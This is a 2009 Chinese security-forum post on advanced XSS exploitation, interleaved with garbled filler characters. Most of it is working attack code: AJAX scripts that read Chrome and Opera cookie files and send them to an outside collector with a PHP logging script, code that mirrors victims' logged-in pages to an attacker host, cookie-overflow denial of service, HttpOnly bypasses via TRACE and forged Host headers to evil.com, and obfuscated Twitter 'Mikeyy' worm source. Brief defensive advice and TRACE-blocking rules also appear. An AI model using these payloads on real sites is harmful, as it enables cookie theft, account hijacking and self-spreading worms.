XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页+ W& g/ U( Q+ [ N: T- y5 y
本帖最后由 racle 于 2009-5-30 09:19 编辑 * {7 h- c) k. ^# ^" P$ V4 k, `
$ q% l6 F5 Y7 E+ uXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页# w0 {/ c3 ~: O+ ?
By racle@tian6.com : J( @8 Q& @. c, W
http://bbs.tian6.com/thread-12711-1-1.html% v* T* J, C. R
转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------
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, U* u& Q" M2 q3 g% Y+ m3 Y; m本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
- u* ^+ j- `. d3 y, C3 D: m6 uhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介; N9 T$ a9 K4 s0 T
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全( U, B- R; P& S* ]" T5 h
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
( U% c! u! R' B% F$ z" zhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
( }0 h3 S) G) K2 D5 C& v4 phttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
3 T4 ^% b7 D! U( e) a/ f1 Rhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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/ Y' F7 u3 }2 x* L7 N2 b8 x( o* A# z% e如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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& j- A$ V5 p# }2 D9 p- Z6 M# B希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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% W" H3 n) T1 E9 w/ X' g% [Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大4 q/ U9 ~. s9 o$ @% N V
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QQ ZONE,校内网XSS 感染过万QQ ZONE.3 w( [3 D8 Z9 q$ d$ W u5 v7 q
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------; A( O. ?& v! ~2 s7 N
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.5 q9 Z% d# ~$ Z; r( g
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; ~7 U" i* z9 H9 q; E跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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, a3 A" p0 v; P9 R) U! K; h! f E如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
0 M) ?; m6 h5 C- w复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题., L. e1 n3 f/ P& Z4 Y( H/ q
我们在这里重点探讨以下几个问题:9 q( H1 q, w( @) l7 o
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1 通过XSS,我们能实现什么?$ A6 Y o. B6 P' ~" h: v7 O! U
7 R, `& ]' r; r& H2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?5 q6 c/ z- e* Z: t
$ X' w4 g$ @& K" N4 r4 XSS漏洞在输出和输入两个方面怎么才能避免.
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1 E s" M+ L: K' p$ A------------------------------------------研究正题----------------------------------------------------------
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. L* Y% W+ s4 M3 V通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.7 v6 | L# v5 u/ W( Y" x# p4 P
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫( S4 [8 @1 A" P0 g9 k
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
# a, \8 Q* Q+ F1 A- H1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
9 x+ P! I* p6 Q2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.& ]2 k) Y1 u5 y9 T" Y: d
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
9 Y6 I1 ]/ ?8 Z* p/ X4:Http-only可以采用作为COOKIES保护方式之一.% `$ `* i2 M, T0 _$ x+ Z$ B
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!). ~ ^+ H8 J/ |' Q
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/ h: d. l3 r, U* B% Z2 }; q8 j8 i 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。) v7 E8 Y+ Q6 E0 }, D- n) O
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制./ G8 t/ j. s& z
复制代码IE6使用ajax读取本地文件 <script>
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function $(x){return document.getElementById(x)}
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function ajax_obj(){
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var request = false;0 `0 O6 a$ N; h; T3 \) } W n
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: Y+ ]1 v# e9 G) N9 C& a request = new XMLHttpRequest();
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2 }5 V3 @$ N: G% ?) l# R: x8 h } else if(window.ActiveXObject) {
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; [7 o! ~+ V" k4 c var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',8 v8 B( R$ m8 N; s( ` u6 X. ]
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {. S5 y4 l) ]0 J# E, M7 I' @" S A
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try {6 G8 P9 @9 }1 |2 L; X9 q4 t8 r
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} catch(e) {}! h w: }$ _. J- y
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}
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");8 m. T# I. k# R% x
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_x.send(argv);
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return _x.responseText;3 e7 }: l) A, x' C! M k
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b- }! P* F8 l; M' P5 d) S7 { var txt=_7or3("GET","file://localhost/C:/11.txt",null);# ]+ h- W0 g& N0 C: k* ^
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复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>2 G) P5 e4 k3 u$ c1 G1 v+ M+ r
7 C* {2 W4 z0 v6 c# S& U( d function $(x){return document.getElementById(x)}& H; ]8 A' X3 p
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7 f' z# |$ I8 n" Z" Z2 y function ajax_obj(){, ]/ L0 d2 c2 E, d1 x: G
, h4 a/ c* b5 L0 K; t7 b8 p var request = false;* L+ O0 Z. B! H) `- x. N% q
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();0 Z0 w I; e7 R1 {& q
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: n: |4 K9 r) a/ D, j" v1 c var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',2 Y4 q; g$ n3 X. B- {0 z
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for(var i=0; i<versions.length; i++) {
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try {& A: X# c/ I" N! g K
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request = new ActiveXObject(versions);
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} catch(e) {}$ \6 n Z5 f" R1 q
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return request;
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}
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var _x = ajax_obj();
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function _7or3(_m,action,argv){
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& k, G$ M7 x2 y: | _x.open(_m,action,false);6 ?/ v, H* j Z, y% H: S
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); A# L; g5 L( x/ j& d
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return _x.responseText;
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}
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var txt=_7or3("GET","1/11.txt",null);: o7 a5 O- w: c' ?, K
' e% }7 n/ T- [- [8 V- { alert(txt);
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”5 A4 z5 ~9 f" B7 D$ h8 R
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"/ {. Z3 @1 m+ U! a
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/*
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Chrome 1.0.154.53 use ajax read local txt file and upload exp / }' J ]" p P6 N
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www.inbreak.net
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author voidloafer@gmail.com 2009-4-22 / m8 [) l- ?& I y0 B
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/ ' w, e5 |1 l: h; w2 v% B2 c0 i
$ b: h) `: C1 y. j4 L3 ?header("Content-Disposition: attachment;filename=kxlzx.htm");
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7 ~! c: I2 p1 F# ?9 k! K) Lheader("Content-type: application/kxlzx");
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/*
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set header, so just download html file,and open it at local. 2 T$ {2 s3 m: L" W* k" V4 _+ `
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> ! S4 i! Z. O& M' |
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<input id="input" name="cookie" value="" type="hidden">
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</form>
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& p0 z @# \4 t. G+ X<script> 9 a. u: I+ b0 y% L; @
$ d3 T2 j. ]8 y* `$ v' ^0 ~function doMyAjax(user) % P: b/ S+ J0 `0 k$ r
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{
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var time = Math.random(); - t' x# }8 E. P8 ?
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/* ; i1 T; o$ ~9 f6 w# t6 |
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default # j4 l+ ^; z* B2 m2 D
; k4 v, b! t) i V& l L$ W- q0 yand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on... 2 o* ]2 a4 k: ^! g b1 ~* c/ j; }3 A
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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! g4 w7 V6 x# Q4 T+ R6 K: qstartRequest(strPer); , f4 I p3 k" _; L. Z- ^
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}
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function Enshellcode(txt)
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4 x5 V9 g3 {/ G/ ~" b8 N, Dvar url=new String(txt);
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var i=0,l=0,k=0,curl="";
# o5 q8 T& f: j
7 b& T; Q" y$ V# E; ?" K: Wl= url.length;
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3 w' b: M2 t `! X9 f( G: K; ufor(;i<l;i++){ 3 c _0 k& |( u* K
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k=url.charCodeAt(i); + o) }! U9 C' w8 @% J( h1 L
) p3 A9 R: R4 g* qif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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: Z$ [7 N7 K V, P5 uif (l%2){curl+="00";}else{curl+="0000";} 6 s" K: t- o3 d
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curl=curl.replace(/(..)(..)/g,"%u$2$1"); 5 J" P# _" _9 P
+ Q- P Z* }% z! |( n1 }return curl; , z# P8 A1 Q- Q) }5 t# @; n8 g
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. S9 k$ i6 W; g% y. x& @ B# Qvar xmlHttp; 6 ?0 C( J: n; z6 S: S( o
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function createXMLHttp(){
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1 e, K' L+ _& j I( x1 ]* H) e if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest(); # E& t- v. p* N5 l& M5 t/ C" N
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}
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else if(window.ActiveXObject){ 8 B* h+ I3 p' Y- V
1 K# f& A) z; zxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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: D. l, G5 w9 u- vfunction startRequest(doUrl){
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* F$ m* j( V& _9 p
- Q* P' E! I5 y* ?. m' O createXMLHttp(); / d0 [, ?% {0 s# ~$ ^
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# D% V1 O9 g) W! o" z3 ^ xmlHttp.onreadystatechange = handleStateChange; # T% ^ ]0 ? |2 ~9 r2 [
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xmlHttp.open("GET", doUrl, true);
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& J4 w/ Q z$ `# p! M( ] xmlHttp.send(null);
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$ \$ a5 e! ~7 ^4 B: u. F
E$ _" t# R. q, `+ U/ a0 D4 kfunction handleStateChange(){
' A/ @* Y, Z. P; R& {; C6 z
4 n: V! z1 S5 I if (xmlHttp.readyState == 4 ){ ) V: {9 t D- }0 C8 E, p, q% b
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var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); , [3 C6 T2 N: I' Z
o: j5 N; ^! h$ B0 C" L2 f7 _! T
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# p- n( L) j2 o- C7 ]8 B7 q* } }
# d$ u& Q+ ?+ i. }/ Z6 e2 }
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" ], d' X& T* u$ x9 |! y$ F: u$ i) }
function framekxlzxPost(text) 9 a) u6 x4 l6 q$ y' p: z9 C- x
6 m! c" q' q4 ~/ F( [7 U{
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document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit();
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}
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3 Q/ [3 L7 L, d" _doMyAjax("administrator"); - q K8 j; k( O3 R& V0 T" C
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+ ]1 P( z/ ]$ {% \</script>
# P, L2 e% P9 W8 N1 T; [复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
4 N+ d0 T7 [) D7 k: Z3 Y& I6 `, H3 |3 ~' {
var xmlHttp;
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7 Z7 A, D* ~* g- S: n" L" tfunction createXMLHttp(){
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if(window.XMLHttpRequest){ ' N* ?1 l6 x$ _( u& u
+ S+ }% D) J5 @' Y8 o* _ xmlHttp = new XMLHttpRequest();
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} & }5 @3 p5 E5 [/ `7 e6 b+ \
( R2 C. s n [ else if(window.ActiveXObject){ }& F5 V2 O( g! ?5 ^7 O4 j
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); & d0 Y7 K6 f1 Y: K' j$ o2 x! d
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}
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function startRequest(doUrl){
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) O% ]: V& f9 `8 v7 i- P) c# Z createXMLHttp(); 2 f5 R( ]8 @! x8 n, I3 c S
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( c- R4 O6 `* n. ?/ S& m. } xmlHttp.onreadystatechange = handleStateChange; # P0 z, R' S6 R8 x2 a9 x, K
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' q$ |/ Y5 d H- p/ h- M xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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function handleStateChange(){ - f7 R: ?- J+ G1 x+ z: o
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if (xmlHttp.readyState == 4 ){
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3 [0 H1 Z" C1 U- R var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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}
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+ I8 r$ q& w7 T. C" c) tfunction doMyAjax(user,file)
- J) a+ g8 n, q& ]8 i4 x' j' l, {; }
{ $ ~" L* u8 c9 S# v
f" Y* O! J1 K var time = Math.random(); 6 b3 f% z$ i% b5 l. @" n# g
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! Y# v) K! X9 Y var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; ' x' h$ Q* B! R1 _# k' P
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startRequest(strPer);
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}
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6 P2 r" n/ o7 Z$ T+ v5 h% s9 cfunction framekxlzxPost(text) ; m3 @$ k, g9 U& i
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+ ^2 g3 d* E9 ^1 y: ^4 F6 \( J document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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alert(/ok/); 9 f. |4 E& J6 V, d' P: @6 Y0 A
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}
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( {9 _0 \0 k1 i% u# b; }" Z3 v2 gdoMyAjax('administrator','administrator@alibaba[1].txt'); % e* M# }8 ]! C& ?
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</script>
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a.php
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( F7 k* }. c; c8 _<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
0 g7 b- q) x% s. M! }" `& ^+ f& r$ h- V% _ G$ U8 A9 \: {
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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( w9 M2 h8 a% d9 a) Z- m$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]); 7 B: F+ S4 `: g
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fclose($fp);
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?>
' a5 M Z, L/ h" `8 Y- n5 Q2 J复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:/ Q1 d$ u Y8 C
$ P7 E- F( `' a4 R/ G! g# |或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
; o) u0 j, q; W! [利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.& p' B& G1 \2 ?
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);( B; _, d) L8 {+ G
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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( l- E9 T4 h; D2 y% i7 z//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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: p( }) O- t$ q8 vfunction getURL(s) {
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, I- c; @+ L; ~4 a; ~ hvar image = new Image();: s8 C" g9 E( E8 i) T$ T) o
% \2 S& A! C4 Y. C7 Z2 iimage.style.width = 0;' s- ?- v* o: z1 S' J
' p# ^. z: A: `0 \, Himage.style.height = 0;; U! w# h/ m& h$ T3 @% U n
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image.src = s;& g7 w0 a u7 V) B9 E7 ?
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' J$ u; Z( z1 l' lgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);+ Y! w, X9 c: x7 O+ q
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.+ T# d3 K) k! r- g6 H8 i4 T/ `
这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A
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- i5 W+ l5 \6 A) Mvar str = "";
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$ v# `# O% C" o7 ^' z# g/ L- dwhile (str.length < 4000){# H% P6 }& V1 Y/ f
& w( t4 |# w/ s" q2 n: d" K str += metastr;
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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v& ]! B0 X2 d, H. t+ `</script>
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4 Q V5 t$ b8 e& `7 X( }: Y详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
E8 D4 w2 l+ f; C( t复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思./ w% V& [1 {- n2 p
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1508 p$ t9 {7 f, C# e
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
5 E, u9 M, k- [- q+ T攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.* o1 z6 _( z$ u' I& d$ z
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(III) Http only bypass 与 补救对策:
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; U# x0 |! Z V# x5 `什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie. E4 y' g, v, n- V u# Q
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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) n2 m& E" P) I Q7 Z8 E<!--
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function normalCookie() { # d: Q; y+ _+ f" r, Q/ E
$ }$ J; _, O" L. ^! ^' Fdocument.cookie = "TheCookieName=CookieValue_httpOnly"; 1 O! y+ g0 _. g1 l6 l5 I. C; _) A3 R. S
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alert(document.cookie);
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}
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, f% e8 v0 W+ |7 {1 e! W6 H% xfunction httpOnlyCookie() { ! y: p; D: E3 b e+ h" Z
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; - S5 t: R; q7 F& ~$ w
4 I+ k5 z8 C" ralert(document.cookie);}
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//-->6 M2 s2 h3 j( L0 b/ _) g' h
! e! a) _1 V9 P; p0 Y) `8 l</script>- ?: z' ^* ^5 A
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" C7 w! G( `8 F/ T& x1 \<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>3 b4 [; g/ G3 W6 n
$ r O" _5 ] q' G6 N3 D+ f5 J<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>$ t3 h. L& l& `) v
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>1 S9 y5 Y2 F m
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var request = false;
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if(window.XMLHttpRequest) {# M3 m, ^+ c' M* S- k: v
8 `5 {; B' l7 K4 a
request = new XMLHttpRequest(); A5 [4 G7 x" t
e- C2 p3 s+ ^+ c& o8 P5 V; U0 K if(request.overrideMimeType) {
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request.overrideMimeType('text/xml');% T9 \. w8 S, M( f7 C3 o
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}
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} else if(window.ActiveXObject) {+ @1 g1 }, T* s, l' x r- g
( x# s0 P' }& |" U# I var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; I; E5 v8 G! Q
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for(var i=0; i<versions.length; i++) {
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try {
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; m; p: g, I7 Z" b8 e1 T1 Z8 o request = new ActiveXObject(versions);7 |& S1 t5 K& N4 E% Z
5 t, S$ z; Z+ x# y: q3 y* a } catch(e) {}
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}
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: K% a4 d3 L9 kxmlHttp=request;! @* Z" v a0 J# h8 X" i. X# N$ E
( m) v Z. ^% z4 ~xmlHttp.open("TRACE","http://www.vul.com",false);
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xmlHttp.send(null);( l) e: t7 j8 i8 A/ Z% c# B6 M. n6 w6 a
], i% n1 X4 ` O1 B
xmlDoc=xmlHttp.responseText;
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alert(xmlDoc);
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</script>
' c9 k' n" w2 `. ~; V0 w# M9 f复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>" j( _) D7 b4 R) ?: ]+ ~
& }" ?+ L! `: S
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");! L; [* }' Z- m. J$ w, c3 J
$ e/ y j; D7 |; Z5 k4 l0 h6 IXmlHttp.open("GET","http://www.google.com",false);
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4 B. `/ i/ o$ u8 s6 ZXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");9 e' S4 [ F- }; f
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XmlHttp.send(null);) a9 o% N' w1 q9 s8 N( l
9 l9 X$ r) C3 m; N7 _* I$ Jvar resource=xmlHttp.responseText, W9 y. Z- i/ ~7 ~* }9 _: t
) E4 t7 {& B1 _0 A8 G, Presource.search(/cookies/);
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! c' q2 D8 H" Z+ H" W/ a6 }+ M/ p......................+ q/ l6 d, v/ u3 x$ Q
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</script>
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Y2 o% c! G3 l ?. \. H
6 A! d: F6 S8 j9 i; a如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求0 A' D; b9 E3 L5 }3 @% }6 Z
# [! b" ?0 U) a1 A
[code]# b5 D9 {! e# y5 i" z$ o! B
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RewriteEngine On2 _. v; T0 S" A7 E3 ~
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RewriteCond %{REQUEST_METHOD} ^TRACE6 n1 o& j' p1 C; t
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RewriteRule .* - [F]
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9 v7 b& ]9 v3 j
/ a0 Y6 B* ]2 \& B3 R* m& wSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求 ?; Z& [1 D. b/ H4 I9 X1 I3 h! N
9 F1 B9 K6 h8 Q- b3 V; o Z% uacl TRACE method TRACE
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...
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http_access deny TRACE
% W3 S! A- p, e) ]( |复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>) x( x! H, g- ?; M8 W* j a
8 j s. U6 {& r3 T" q, G; v( Nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");8 b& t3 H* g9 k& ~# C
0 X: ]0 Y, k4 b0 z* R ~+ xXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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6 Q: b; `, ^/ ?( ~3 VXmlHttp.send(null);+ c+ x" d* U2 L8 w/ O3 F1 `
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</script>$ V# C, Y1 p" z9 L
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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& f1 i$ \: |0 G8 |( h* ~var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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* v; H e2 ?; U$ K5 Y* JXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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: m" }3 {4 q( b2 iXmlHttp.send(null);6 T+ k5 L$ F# o- b) E+ G$ W
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<script># H3 T0 `# s+ B+ V
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.2 e8 u9 Y: w% q) p( E7 G
复制代码案例:Twitter 蠕蟲五度發威
( p! \0 M' D; E5 P第一版:. m# b$ B: K/ l9 I* D1 x0 l- x
下载 (5.1 KB)
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6 o( }7 p. H' @9 d9 P" ?6 天前 08:27
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3 U N8 {! b& |" u6 w第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 9 r9 w$ h" n) }" @
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4 {4 r" |4 J7 R
3 A8 h |. c. ^5 ~$ v* F) H- s 3. function XHConn(){
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h# v* M8 h! B6 [" {* {3 W 4. var _0x6687x2,_0x6687x3=false;
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } [+ _! G& N% y0 @* A0 p- t
3 u. c* c2 a' i O( z$ \ 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } . L V/ Z) K6 r6 V
/ D* R/ t6 K* s- R) W 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 3 U$ N* f: d+ V( x, x. B0 U
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8. catch(e) { _0x6687x2=false; }; }; }; 0 m6 z' v8 s" ?& t ] f3 d
复制代码第六版: 1. function wait() { + k: I6 z! g" A8 ` [" G, n8 [- O
/ p/ B) u& S+ e8 ^- `8 G7 E 2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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9 [) H, w7 f5 |8 ~( K* j( I 4. var tmp_posted=tmp_cookie.match(/posted/); # ]/ n5 T# w! u
9 T: I+ M$ W2 `0 k 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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4 s" H Q% o0 `5 K7 E" g 6. var authtoken=authreg.exec(content); 1 T2 c: }. `$ E2 w2 i: \
1 J4 {3 m2 q: S0 a$ H. L 7. var authtoken=authtoken[1];
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. x5 p8 _2 z4 A1 ^1 t2 G) w1 r 8. var randomUpdate= new Array(); 1 Z. z$ _0 o4 q9 V9 V/ ?- {* R0 t5 {4 z
